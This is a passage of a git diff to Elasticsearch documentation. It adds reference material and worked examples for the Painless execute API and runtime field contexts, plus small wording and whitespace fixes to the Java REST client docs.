is `false`. diff --git a/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc b/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc index a594db5b60259..2f770e35333b6 100644 --- a/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc +++ b/docs/java-rest/high-level/snapshot/delete_snapshot.asciidoc @@ -34,7 +34,7 @@ include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[delete-snapshot-e [[java-rest-high-snapshot-delete-snapshot-async]] ==== Asynchronous Execution -The asynchronous execution of a delete snapshot request requires both the +The asynchronous execution of a delete snapshot request requires both the `DeleteSnapshotRequest` instance and an `ActionListener` instance to be passed to the asynchronous method: diff --git a/docs/java-rest/high-level/supported-apis.asciidoc b/docs/java-rest/high-level/supported-apis.asciidoc index 9cb41a7e5d19b..e38dc3b6a25d2 100644 --- a/docs/java-rest/high-level/supported-apis.asciidoc +++ b/docs/java-rest/high-level/supported-apis.asciidoc @@ -226,6 +226,7 @@ The Java High Level REST Client supports the following Snapshot APIs: * <> * <> * <> +* <> include::snapshot/get_repository.asciidoc[] include::snapshot/create_repository.asciidoc[] @@ -236,6 +237,7 @@ include::snapshot/get_snapshots.asciidoc[] include::snapshot/snapshots_status.asciidoc[] include::snapshot/delete_snapshot.asciidoc[] include::snapshot/restore_snapshot.asciidoc[] +include::snapshot/clone_snapshot.asciidoc[] == Tasks APIs @@ -527,6 +529,7 @@ include::security/create-token.asciidoc[] include::security/invalidate-token.asciidoc[] include::security/put-privileges.asciidoc[] include::security/create-api-key.asciidoc[] +include::security/grant-api-key.asciidoc[] include::security/get-api-key.asciidoc[] include::security/invalidate-api-key.asciidoc[] @@ -686,6 +689,20 @@ include::ilm/snapshot_lifecycle_management_status.asciidoc[] include::ilm/execute_snapshot_lifecycle_policy.asciidoc[] include::ilm/execute_snapshot_lifecycle_retention.asciidoc[] +[role="xpack"] +== Searchable Snapshots APIs + +:upid: {mainid}-searchable-snapshots +:doc-tests-file: {doc-tests}/SearchableSnapshotsDocumentationIT.java + +The Java High Level REST Client supports the following Searchable Snapshots APIs: + +* <<{upid}-searchable-snapshots-mount-snapshot>> +* <<{upid}-searchable-snapshots-caches-stats>> + + +include::searchable_snapshots/mount_snapshot.asciidoc[] +include::searchable_snapshots/caches_stats.asciidoc[] [role="xpack"] [[transform_apis]] diff --git a/docs/java-rest/high-level/transform/put_transform.asciidoc b/docs/java-rest/high-level/transform/put_transform.asciidoc index 7d08d21a084a7..bd41a662eee7a 100644 --- a/docs/java-rest/high-level/transform/put_transform.asciidoc +++ b/docs/java-rest/high-level/transform/put_transform.asciidoc @@ -5,14 +5,14 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put {transform} API +=== Create {transform} API Creates a new {transform}. The API accepts a +{request}+ object as a request and returns a +{response}+. [id="{upid}-{api}-request"] -==== Put {transform} request +==== Create {transform} request A +{request}+ requires the following argument: diff --git a/docs/java-rest/high-level/watcher/execute-watch.asciidoc b/docs/java-rest/high-level/watcher/execute-watch.asciidoc index b23b0918589db..4884b30ca7d20 100644 --- a/docs/java-rest/high-level/watcher/execute-watch.asciidoc +++ b/docs/java-rest/high-level/watcher/execute-watch.asciidoc @@ -7,9 +7,9 @@ [id="{upid}-{api}"] === Execute watch API -The execute watch API allows clients to immediately execute a watch, either -one that has been previously added via the -{ref}/watcher-api-put-watch.html[Put Watch API] or inline as part of the request. +The execute watch API allows clients to immediately execute a watch, either one +that has been previously added via the {ref}/watcher-api-put-watch.html[create +or update watch API] or inline as part of the request. [id="{upid}-{api}-request-by-id"] ==== Execute by id diff --git a/docs/java-rest/high-level/watcher/put-watch.asciidoc b/docs/java-rest/high-level/watcher/put-watch.asciidoc index f3ab52181f263..c6a02a75e38c7 100644 --- a/docs/java-rest/high-level/watcher/put-watch.asciidoc +++ b/docs/java-rest/high-level/watcher/put-watch.asciidoc @@ -1,6 +1,6 @@ [role="xpack"] [[java-rest-high-x-pack-watcher-put-watch]] -=== Put watch API +=== Create or update watch API [[java-rest-high-x-pack-watcher-put-watch-execution]] ==== Execution diff --git a/docs/java-rest/low-level/configuration.asciidoc b/docs/java-rest/low-level/configuration.asciidoc index d368d8362f09f..b112de6af843e 100644 --- a/docs/java-rest/low-level/configuration.asciidoc +++ b/docs/java-rest/low-level/configuration.asciidoc @@ -150,7 +150,7 @@ should be consulted: https://hc.apache.org/httpcomponents-asyncclient-4.1.x/ . NOTE: If your application runs under the security manager you might be subject to the JVM default policies of caching positive hostname resolutions -indefinitely and negative hostname resolutions for ten seconds. If the resolved +indefinitely and negative hostname resolutions for ten seconds. If the resolved addresses of the hosts to which you are connecting the client to vary with time then you might want to modify the default JVM behavior. These can be modified by adding @@ -184,6 +184,6 @@ whenever none of the nodes from the preferred rack is available. WARNING: Node selectors that do not consistently select the same set of nodes will make round-robin behaviour unpredictable and possibly unfair. The -preference example above is fine as it reasons about availability of nodes +preference example above is fine as it reasons about availability of nodes which already affects the predictability of round-robin. Node selection should not depend on other external factors or round-robin will not work properly. diff --git a/docs/java-rest/low-level/sniffer.asciidoc b/docs/java-rest/low-level/sniffer.asciidoc index 84f1510bae43a..54485cb7af875 100644 --- a/docs/java-rest/low-level/sniffer.asciidoc +++ b/docs/java-rest/low-level/sniffer.asciidoc @@ -97,7 +97,7 @@ include-tagged::{doc-tests}/SnifferDocumentation.java[sniff-on-failure] failure, but an additional sniffing round is also scheduled sooner than usual, by default one minute after the failure, assuming that things will go back to normal and we want to detect that as soon as possible. Said interval can be -customized at `Sniffer` creation time through the `setSniffAfterFailureDelayMillis` +customized at `Sniffer` creation time through the `setSniffAfterFailureDelayMillis` method. Note that this last configuration parameter has no effect in case sniffing on failure is not enabled like explained above. <3> Set the `Sniffer` instance to the failure listener diff --git a/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc b/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc index 584646680101c..5f0dc32305a3c 100644 --- a/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc +++ b/docs/painless/painless-contexts/painless-bucket-script-agg-context.asciidoc @@ -24,7 +24,7 @@ The standard <> is available. To run this example, first follow the steps in <>. -The painless context in a `bucket_script` aggregation provides a `params` map. This map contains both +The painless context in a `bucket_script` aggregation provides a `params` map. This map contains both user-specified custom values, as well as the values from other aggregations specified in the `buckets_path` property. @@ -36,7 +36,7 @@ and adds the user-specified base_cost to the result: (params.max - params.min) + params.base_cost -------------------------------------------------- -Note that the values are extracted from the `params` map. In context, the aggregation looks like this: +Note that the values are extracted from the `params` map. In context, the aggregation looks like this: [source,console] -------------------------------------------------- diff --git a/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc b/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc index 1c257cf2e72bb..fb7b24240e365 100644 --- a/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc +++ b/docs/painless/painless-contexts/painless-bucket-selector-agg-context.asciidoc @@ -26,7 +26,7 @@ The standard <> is available. To run this example, first follow the steps in <>. -The painless context in a `bucket_selector` aggregation provides a `params` map. This map contains both +The painless context in a `bucket_selector` aggregation provides a `params` map. This map contains both user-specified custom values, as well as the values from other aggregations specified in the `buckets_path` property. @@ -41,7 +41,7 @@ params.max + params.base_cost > 10 -------------------------------------------------- Note that the values are extracted from the `params` map. The script is in the form of an expression -that returns `true` or `false`. In context, the aggregation looks like this: +that returns `true` or `false`. In context, the aggregation looks like this: [source,console] -------------------------------------------------- diff --git a/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc b/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc index 78ebac79c65ee..2d40fcf427a4d 100644 --- a/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc +++ b/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc @@ -19,7 +19,7 @@ full metric aggregation. *Side Effects* `state` (`Map`):: - Add values to this `Map` to for use in a map. Additional values must + Add values to this `Map` to for use in a map. Additional values must be of the type `Map`, `List`, `String` or primitive. *Return* diff --git a/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc b/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc index 485d4da8439d8..4c7ef36ddace6 100644 --- a/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc +++ b/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc @@ -32,7 +32,7 @@ part of a full metric aggregation. primitive. The same `state` `Map` is shared between all aggregated documents on a given shard. If an initialization script is provided as part of the aggregation then values added from the initialization script are - available. If no combine script is specified, values must be + available. If no combine script is specified, values must be directly stored in `state` in a usable form. If no combine script and no <> are specified, the `state` values are used as the result. diff --git a/docs/painless/painless-contexts/painless-runtime-fields-context.asciidoc b/docs/painless/painless-contexts/painless-runtime-fields-context.asciidoc index f888841726e47..0461b47fb47a6 100644 --- a/docs/painless/painless-contexts/painless-runtime-fields-context.asciidoc +++ b/docs/painless/painless-contexts/painless-runtime-fields-context.asciidoc @@ -1,12 +1,69 @@ [[painless-runtime-fields-context]] === Runtime fields context -beta::[] Use a Painless script to calculate and emit <> values. See the {ref}/runtime.html[runtime fields] documentation for more information about how to use runtime fields. +*Methods* + +-- +[[runtime-emit-method]] +// tag::runtime-field-emit[] +`emit`:: (Required) + Accepts the values from the script valuation. Scripts can call the + `emit` method multiple times to emit multiple values. ++ +The `emit` method applies only to scripts used in a +<>. ++ +IMPORTANT: The `emit` method cannot accept `null` values. Do not call this +method if the referenced fields do not have any values. ++ +.Signatures of `emit` +[%collapsible%open] +==== +The signature for `emit` depends on the `type` of the field. + +[horizontal] +`boolean`:: `emit(boolean)` +`date`:: `emit(long)` +`double`:: `emit(double)` +`geo_point`:: `emit(double lat, double long)` +`ip`:: `emit(String)` +`long`:: `emit(long)` +`keyword`:: `emit(String)` +==== +// end::runtime-field-emit[] +-- + +-- +`grok`:: + Defines a {ref}/grok-processor.html[grok pattern] to extract structured fields out of a single text field within a document. A grok pattern is like a regular expression that supports aliased expressions that can be reused. See {ref}/runtime-examples.html#runtime-examples-grok[Define a runtime field with a grok pattern]. ++ +.Properties of `grok` +[%collapsible%open] +==== +`extract`:: + Indicates the values to return. This method applies only to `grok` and + `dissect` methods. +==== +-- + +-- +`dissect`:: + Defines a {ref}/dissect-processor.html[dissect pattern]. Dissect operates much like grok, but does not accept regular expressions. See {ref}/runtime-examples.html#runtime-examples-dissect[Define a runtime field with a dissect pattern]. ++ +.Properties of `dissect` +[%collapsible%open] +==== +`extract`:: + Indicates the values to return. This method applies only to `grok` and + `dissect` methods. +==== +-- + *Variables* `params` (`Map`, read-only):: diff --git a/docs/painless/painless-contexts/painless-score-context.asciidoc b/docs/painless/painless-contexts/painless-score-context.asciidoc index 608764cf3dad8..72fc86b0f9b7c 100644 --- a/docs/painless/painless-contexts/painless-score-context.asciidoc +++ b/docs/painless/painless-contexts/painless-score-context.asciidoc @@ -11,8 +11,8 @@ score to documents returned from a query. User-defined parameters passed in as part of the query. `doc` (`Map`, read-only):: - Contains the fields of the current document. For single-valued fields, - the value can be accessed via `doc['fieldname'].value`. For multi-valued + Contains the fields of the current document. For single-valued fields, + the value can be accessed via `doc['fieldname'].value`. For multi-valued fields, this returns the first value; other values can be accessed via `doc['fieldname'].get(index)` diff --git a/docs/painless/painless-contexts/painless-similarity-context.asciidoc b/docs/painless/painless-contexts/painless-similarity-context.asciidoc index e48da21195dd7..1e73860ec8daf 100644 --- a/docs/painless/painless-contexts/painless-similarity-context.asciidoc +++ b/docs/painless/painless-contexts/painless-similarity-context.asciidoc @@ -11,19 +11,19 @@ documents in a query. The weight as calculated by a <> `query.boost` (`float`, read-only):: - The boost value if provided by the query. If this is not provided the + The boost value if provided by the query. If this is not provided the value is `1.0f`. `field.docCount` (`long`, read-only):: The number of documents that have a value for the current field. `field.sumDocFreq` (`long`, read-only):: - The sum of all terms that exist for the current field. If this is not + The sum of all terms that exist for the current field. If this is not available the value is `-1`. `field.sumTotalTermFreq` (`long`, read-only):: The sum of occurrences in the index for all the terms that exist in the - current field. If this is not available the value is `-1`. + current field. If this is not available the value is `-1`. `term.docFreq` (`long`, read-only):: The number of documents that contain the current term in the index. @@ -32,7 +32,7 @@ documents in a query. The total occurrences of the current term in the index. `doc.length` (`long`, read-only):: - The number of tokens the current document has in the current field. This + The number of tokens the current document has in the current field. This is decoded from the stored {ref}/norms.html[norms] and may be approximate for long fields @@ -45,7 +45,7 @@ Note that the `query`, `field`, and `term` variables are also available to the there, as they are constant for all documents. For queries that contain multiple terms, the script is called once for each -term with that term's calculated weight, and the results are summed. Note that some +term with that term's calculated weight, and the results are summed. Note that some terms might have a `doc.freq` value of `0` on a document, for example if a query uses synonyms. diff --git a/docs/painless/painless-contexts/painless-sort-context.asciidoc b/docs/painless/painless-contexts/painless-sort-context.asciidoc index fbcc85448caf8..84b3e9ec135ae 100644 --- a/docs/painless/painless-contexts/painless-sort-context.asciidoc +++ b/docs/painless/painless-contexts/painless-sort-context.asciidoc @@ -10,8 +10,8 @@ Use a Painless script to User-defined parameters passed in as part of the query. `doc` (`Map`, read-only):: - Contains the fields of the current document. For single-valued fields, - the value can be accessed via `doc['fieldname'].value`. For multi-valued + Contains the fields of the current document. For single-valued fields, + the value can be accessed via `doc['fieldname'].value`. For multi-valued fields, this returns the first value; other values can be accessed via `doc['fieldname'].get(index)` diff --git a/docs/painless/painless-contexts/painless-weight-context.asciidoc b/docs/painless/painless-contexts/painless-weight-context.asciidoc index 44438a1225ea6..47b9df0e7cb66 100644 --- a/docs/painless/painless-contexts/painless-weight-context.asciidoc +++ b/docs/painless/painless-contexts/painless-weight-context.asciidoc @@ -3,7 +3,7 @@ Use a Painless script to create a {ref}/index-modules-similarity.html[weight] for use in a -<>. The weight makes up the +<>. The weight makes up the part of the similarity calculation that is independent of the document being scored, and so can be built up front and cached. @@ -12,19 +12,19 @@ Queries that contain multiple terms calculate a separate weight for each term. *Variables* `query.boost` (`float`, read-only):: - The boost value if provided by the query. If this is not provided the + The boost value if provided by the query. If this is not provided the value is `1.0f`. `field.docCount` (`long`, read-only):: The number of documents that have a value for the current field. `field.sumDocFreq` (`long`, read-only):: - The sum of all terms that exist for the current field. If this is not + The sum of all terms that exist for the current field. If this is not available the value is `-1`. `field.sumTotalTermFreq` (`long`, read-only):: The sum of occurrences in the index for all the terms that exist in the - current field. If this is not available the value is `-1`. + current field. If this is not available the value is `-1`. `term.docFreq` (`long`, read-only):: The number of documents that contain the current term in the index. diff --git a/docs/painless/painless-guide/index.asciidoc b/docs/painless/painless-guide/index.asciidoc index 3c645dcbbc335..74db0897e1520 100644 --- a/docs/painless/painless-guide/index.asciidoc +++ b/docs/painless/painless-guide/index.asciidoc @@ -10,4 +10,5 @@ include::painless-debugging.asciidoc[] include::painless-execute-script.asciidoc[] -include::../redirects.asciidoc[] +include::painless-ingest.asciidoc[] + diff --git a/docs/painless/painless-guide/painless-datetime.asciidoc b/docs/painless/painless-guide/painless-datetime.asciidoc index 8244ecb9cfd5e..d3b70145eb4fe 100644 --- a/docs/painless/painless-guide/painless-datetime.asciidoc +++ b/docs/painless/painless-guide/painless-datetime.asciidoc @@ -381,7 +381,7 @@ source document, or from an indexed document. ===== Datetime Input From User Parameters -Use the {ref}/modules-scripting-using.html#_script_parameters[params section] +Use the {ref}/modules-scripting-using.html[params section] during script specification to pass in a numeric datetime or string datetime as a script input. Access to user-defined parameters within a script is dependent on the Painless context, though, the parameters are most commonly accessible diff --git a/docs/painless/painless-guide/painless-execute-script.asciidoc b/docs/painless/painless-guide/painless-execute-script.asciidoc index 6c61d5f60114c..b3d35bb63aa34 100644 --- a/docs/painless/painless-guide/painless-execute-script.asciidoc +++ b/docs/painless/painless-guide/painless-execute-script.asciidoc @@ -1,37 +1,144 @@ [[painless-execute-api]] === Painless execute API - -experimental[The painless execute api is new and the request / response format may change in a breaking way in the future] - -The Painless execute API allows an arbitrary script to be executed and a result to be returned. - -[[painless-execute-api-parameters]] -.Parameters -[options="header"] -|====== -| Name | Required | Default | Description -| `script` | yes | - | The script to execute. -| `context` | no | `painless_test` | The context the script should be executed in. -| `context_setup` | no | - | Additional parameters to the context. -|====== - -==== Contexts - -Contexts control how scripts are executed, what variables are available at runtime and what the return type is. - -===== Painless test context - -The `painless_test` context executes scripts as is and does not add any special parameters. -The only variable that is available is `params`, which can be used to access user defined values. -The result of the script is always converted to a string. -If no context is specified then this context is used by default. - -*Example* - -Request: +experimental::[] + +The Painless execute API runs a script and returns a result. + +[[painless-execute-api-request]] +==== {api-request-title} +`POST /_scripts/painless/_execute` + +[[painless-execute-api-desc]] +==== {api-description-title} +Use this API to build and test scripts, such as when defining a script for a +{ref}/runtime.html[runtime field]. This API requires very few dependencies, and is +especially useful if you don't have permissions to write documents on a cluster. + +The API uses several _contexts_, which control how scripts are executed, what +variables are available at runtime, and what the return type is. + +Each context requires a script, but additional parameters depend on the context +you're using for that script. + +[[painless-execute-api-request-body]] +==== {api-request-body-title} +`script`:: (Required, object) +The Painless script to execute. ++ +.Properties of `script` +-- +include::../painless-contexts/painless-runtime-fields-context.asciidoc[tag=runtime-field-emit] +-- + +[[_contexts]] +`context`:: (Optional, string) +The context that the script should run in. Defaults to `painless_test` if no +context is specified. ++ +.Properties of `context` +[%collapsible%open] +==== +`painless_test`:: +The default context if no other context is specified. See +<>. + +`filter`:: +Treats scripts as if they were run inside a `script` query. See +<>. + +`score`:: +Treats scripts as if they were run inside a `script_score` function in a +`function_score` query. See <>. + +[[painless-execute-runtime-context]] +.Field contexts +[%collapsible%open] +===== +-- +The following options are specific to the field contexts. + +NOTE: Result ordering in the field contexts is not guaranteed. +-- + +**** +`boolean_field`:: +The context for {ref}/boolean.html[`boolean` fields]. The script returns a `true` +or `false` response. See +<>. + +`date_field`:: +The context for {ref}/date.html[`date` fields]. `emit` takes a `long` value and +the script returns a sorted list of dates. See +<>. + +`double_field`:: +The context for `double` {ref}/number.html[numeric fields]. The script returns a +sorted list of `double` values. See +<>. + +`geo_point_field`:: +The context for {ref}/geo-point.html[`geo-point` fields]. `emit` takes a +`geo-point` value and the script returns coordinates for the geo point. See +<>. + +`ip_field`:: +The context for {ref}/ip.html[`ip` fields]. The script returns a sorted list of IP +addresses. See +<>. + +`keyword_field`:: +The context for {ref}/keyword.html[`keyword` fields]. The script returns a sorted +list of `string` values. See +<>. + +`long_field`:: +The context for `long` {ref}/number.html[numeric fields]. The script returns a +sorted list of `long` values. See <>. +**** +===== +==== + +`context_setup`:: (Required, object) +Additional parameters for the `context`. ++ +NOTE: This parameter is required for all contexts except `painless_test`, +which is the default if no value is provided for `context`. ++ +.Properties of `context_setup` +[%collapsible%open] +==== +`document`:: (Required, string) +Document that's temporarily indexed in-memory and accessible from the script. + +`index`:: (Required, string) +Index containing a mapping that's compatible with the indexed document. +==== + +`params`:: (`Map`, read-only) +Specifies any named parameters that are passed into the script as variables. + +`query`:: (Optional, object) +NOTE: This parameter only applies when `score` is specified as the script +`context`. ++ +Use this parameter to specify a query for computing a score. Besides deciding +whether or not the document matches, the +{ref}/query-filter-context.html#query-context[query clause] also calculates a +relevance score in the `_score` metadata field. + +[[painless-execute-test]] +==== Test context +The `painless_test` context runs scripts without additional parameters. The only +variable that is available is `params`, which can be used to access user defined +values. The result of the script is always converted to a string. + +Because the default context is `painless_test`, you don't need to specify the +`context` or `context_setup`. + +===== Request [source,console] ----------------------------------------------------------------- +---- POST /_scripts/painless/_execute { "script": { @@ -42,33 +149,29 @@ POST /_scripts/painless/_execute } } } ----------------------------------------------------------------- +---- -Response: +===== Response [source,console-result] --------------------------------------------------- +---- { "result": "0.1" } --------------------------------------------------- +---- -===== Filter context +[[painless-execute-filter-context]] +==== Filter context +The `filter` context treats scripts as if they were run inside a `script` query. +For testing purposes, a document must be provided so that it will be temporarily +indexed in-memory and is accessible from the script. More precisely, the +`_source`, stored fields and doc values of such a document are available to the +script being tested. -The `filter` context executes scripts as if they were executed inside a `script` query. -For testing purposes, a document must be provided so that it will be temporarily indexed in-memory and -is accessible from the script. More precisely, the _source, stored fields and doc values of such a -document are available to the script being tested. - -The following parameters may be specified in `context_setup` for a filter context: - -document:: Contains the document that will be temporarily indexed in-memory and is accessible from the script. -index:: The name of an index containing a mapping that is compatible with the document being indexed. - -*Example* +===== Request [source,console] ----------------------------------------------------------------- +---- PUT /my-index-000001 { "mappings": { @@ -79,7 +182,10 @@ PUT /my-index-000001 } } } +---- +[source,console] +---- POST /_scripts/painless/_execute { "script": { @@ -96,33 +202,27 @@ POST /_scripts/painless/_execute } } } ----------------------------------------------------------------- +---- +// TEST[continued] -Response: +===== Response [source,console-result] --------------------------------------------------- +---- { "result": true } --------------------------------------------------- - - -===== Score context - -The `score` context executes scripts as if they were executed inside a `script_score` function in -`function_score` query. - -The following parameters may be specified in `context_setup` for a score context: +---- -document:: Contains the document that will be temporarily indexed in-memory and is accessible from the script. -index:: The name of an index containing a mapping that is compatible with the document being indexed. -query:: If `_score` is used in the script then a query can specify that it will be used to compute a score. +[[painless-execute-core-context]] +==== Score context +The `score` context treats scripts as if they were run inside a `script_score` +function in a `function_score` query. -*Example* +===== Request [source,console] ----------------------------------------------------------------- +---- PUT /my-index-000001 { "mappings": { @@ -136,8 +236,10 @@ PUT /my-index-000001 } } } +---- - +[source,console] +---- POST /_scripts/painless/_execute { "script": { @@ -154,13 +256,571 @@ POST /_scripts/painless/_execute } } } ----------------------------------------------------------------- +---- +// TEST[continued] -Response: +===== Response [source,console-result] --------------------------------------------------- +---- { "result": 0.8 } --------------------------------------------------- +---- + +[[painless-execute-runtime-field-context]] +==== Field contexts +The field contexts treat scripts as if they were run inside the +{ref}/runtime-search-request.html[`runtime_mappings` section] of a search query. +You can use field contexts to test scripts for different field types, and then +include those scripts anywhere that they're supported, such as <>. + +Choose a field context based on the data type you want to return. + +[[painless-runtime-boolean]] +===== `boolean_field` +Use the `boolean_field` field context when you want to return a `true` +or `false` value from a script valuation. {ref}/boolean.html[Boolean fields] +accept `true` and `false` values, but can also accept strings that are +interpreted as either true or false. + +Let's say you have data for the top 100 science fiction books of all time. You +want to write scripts that return a boolean response such as whether books +exceed a certain page count, or if a book was published after a specific year. + +Consider that your data is structured like this: + +[source,console] +---- +PUT /my-index-000001 +{ + "mappings": { + "properties": { + "name": { + "type": "keyword" + }, + "author": { + "type": "keyword" + }, + "release_date": { + "type": "date" + }, + "page_count": { + "type": "double" + } + } + } +} +---- + +You can then write a script in the `boolean_field` context that indicates +whether a book was published before the year 1972: + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + emit(doc['release_date'].value.year < 1972); + """ + }, + "context": "boolean_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "name": "Dune", + "author": "Frank Herbert", + "release_date": "1965-06-01", + "page_count": 604 + } + } +} +---- +// TEST[continued] + +Because _Dune_ was published in 1965, the result returns as `true`: + +[source,console-result] +---- +{ + "result" : [ + true + ] +} +---- + +Similarly, you could write a script that determines whether the first name of +an author exceeds a certain number of characters. The following script operates +on the `author` field to determine whether the author's first name contains at +least one character, but is less than five characters: + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + int space = doc['author'].value.indexOf(' '); + emit(space > 0 && space < 5); + """ + }, + "context": "boolean_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "name": "Dune", + "author": "Frank Herbert", + "release_date": "1965-06-01", + "page_count": 604 + } + } +} +---- +// TEST[continued] + +Because `Frank` is five characters, the response returns `false` for the script +valuation: + +[source,console-result] +---- +{ + "result" : [ + false + ] +} +---- + +[[painless-runtime-datetime]] +===== `date_time` +Several options are available for using +<>. In this example, you'll +estimate when a particular author starting writing a book based on its release +date and the writing speed of that author. The example makes some assumptions, +but shows to write a script that operates on a date while incorporating +additional information. + +Add the following fields to your index mapping to get started: + +[source,console] +---- +PUT /my-index-000001 +{ + "mappings": { + "properties": { + "name": { + "type": "keyword" + }, + "author": { + "type": "keyword" + }, + "release_date": { + "type": "date" + }, + "page_count": { + "type": "long" + } + } + } +} +---- + +The following script makes the incredible assumption that when writing a book, +authors just write each page and don't do research or revisions. Further, the +script assumes that the average time it takes to write a page is eight hours. + +The script retrieves the `author` and makes another fantastic assumption to +either divide or multiply the `pageTime` value based on the author's perceived +writing speed (yet another wild assumption). + +The script subtracts the release date value (in milliseconds) from the +calculation of `pageTime` times the `page_count` to determine approximately +(based on numerous assumptions) when the author began writing the book. + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + String author = doc['author'].value; + long pageTime = 28800000; <1> + if (author == 'Robert A. Heinlein') { + pageTime /= 2; <2> + } else if (author == 'Alastair Reynolds') { + pageTime *= 2; <3> + } + emit(doc['release_date'].value.toInstant().toEpochMilli() - pageTime * doc['page_count'].value); + """ + }, + "context": "date_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "name": "Revelation Space", + "author": "Alastair Reynolds", + "release_date": "2000-03-15", + "page_count": 585 + } + } +} +---- +//TEST[continued] +<1> Eight hours, represented in milliseconds +<2> Incredibly fast writing from Robert A. Heinlein +<3> Alastair Reynolds writes space operas at a much slower speed + +In this case, the author is Alastair Reynolds. Based on a release date of +`2000-03-15`, the script calculates that the author started writing +`Revelation Space` on 19 February 1999. Writing a 585 page book in just over one +year is pretty impressive! + +[source,console-result] +---- +{ + "result" : [ + "1999-02-19T00:00:00.000Z" + ] +} +---- + +[[painless-runtime-double]] +===== `double_field` +Use the `double_field` context for {ref}/number.html[numeric data] of type +`double`. For example, let's say you have sensor data that includes a `voltage` +field with values like 5.6. After indexing millions of documents, you discover +that the sensor with model number `QVKC92Q` is under reporting its voltage by a +factor of 1.7. Rather than reindex your data, you can fix it with a +runtime field. + +You need to multiply this value, but only for +sensors that match a specific model number. + +Add the following fields to your index mapping. The `voltage` field is a +sub-field of the `measures` object. + +[source,console] +---- +PUT my-index-000001 +{ + "mappings": { + "properties": { + "@timestamp": { + "type": "date" + }, + "model_number": { + "type": "keyword" + }, + "measures": { + "properties": { + "voltage": { + "type": "double" + } + } + } + } + } +} +---- + +The following script matches on any documents where the `model_number` equals +`QVKC92Q`, and then multiplies the `voltage` value by `1.7`. This script is +useful when you want to select specific documents and only operate on values +that match the specified criteria. + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + if (doc['model_number'].value.equals('QVKC92Q')) + {emit(1.7 * params._source['measures']['voltage']);} + else{emit(params._source['measures']['voltage']);} + """ + }, + "context": "double_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "@timestamp": 1516470094000, + "model_number": "QVKC92Q", + "measures": { + "voltage": 5.6 + } + } + } +} +---- +// TEST[continued] + +The result includes the calculated voltage, which was determined by multiplying +the original value of `5.6` by `1.7`: + +[source,console-result] +---- +{ + "result" : [ + 9.52 + ] +} +---- + +[[painless-runtime-geo]] +===== `geo_point_field` +{ref}/geo-point.html[Geo-point] fields accept latitude-longitude pairs. You can +define a geo-point field in several ways, and include values for latitude and +longitude in the document for your script. + +If you already have a known geo-point, it's simpler to clearly state the +positions of `lat` and `lon` in your index mappings. + +[source,console] +---- +PUT /my-index-000001/ +{ + "mappings": { + "properties": { + "lat": { + "type": "double" + }, + "lon": { + "type": "double" + } + } + } +} +---- + +You can then use the `geo_point_field` runtime field context to write a script +that retrieves the `lat` and `long` values. + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + emit(doc['lat'].value, doc['lon'].value); + """ + }, + "context": "geo_point_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "lat": 41.12, + "lon": -71.34 + } + } +} +---- +// TEST[continued] + +Because this you're working with a geo-point field type, the response includes +results that are formatted as `coordinates`. + +[source,console-result] +---- +{ + "result" : [ + { + "coordinates" : [ + -71.34000004269183, + 41.1199999647215 + ], + "type" : "Point" + } + ] +} +---- + +[[painless-runtime-ip]] +===== `ip_field` +The `ip_field` context is useful for data that includes IP addresses of type +{ref}/ip.html[`ip`]. For example, let's say you have a `message` field from an Apache +log. This field contains an IP address, but also other data that you don't need. + +You can add the `message` field to your index mappings as a `wildcard` to accept +pretty much any data you want to put in that field. + +[source,console] +---- +PUT /my-index-000001/ +{ + "mappings": { + "properties": { + "message": { + "type": "wildcard" + } + } + } +} +---- + +You can then define a runtime script with a grok pattern that extracts +structured fields out of the `message` field. + +The script matches on the `%{COMMONAPACHELOG}` log pattern, which understands +the structure of Apache logs. If the pattern matches, the script emits the +value matching the IP address. If the pattern doesn’t match +(`clientip != null`), the script just returns the field value without crashing. + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + String clientip=grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); + """ + }, + "context": "ip_field", + "context_setup": { + "index": "my-index-000001", + "document": { + "message": "40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" + } + } +} +---- +// TEST[continued] + +The response includes only the IP address, ignoring all of the other data in the +`message` field. + +[source,console-result] +---- +{ + "result" : [ + "40.135.0.0" + ] +} +---- + +[[painless-runtime-keyword]] +===== `keyword_field` +{ref}/keyword.html[Keyword fields] are often used in sorting, aggregations, and +term-level queries. + +Let's say you have a timestamp. You want to calculate the day of the week based +on that value and return it, such as `Thursday`. The following request adds a +`@timestamp` field of type `date` to the index mappings: + +[source,console] +---- +PUT /my-index-000001 +{ + "mappings": { + "properties": { + "@timestamp": { + "type": "date" + } + } + } +} +---- + +To return the equivalent day of week based on your timestamp, you can create a +script in the `keyword_field` runtime field context: + +[source,console] +---- +POST /_scripts/painless/_execute +{ + "script": { + "source": """ + emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, 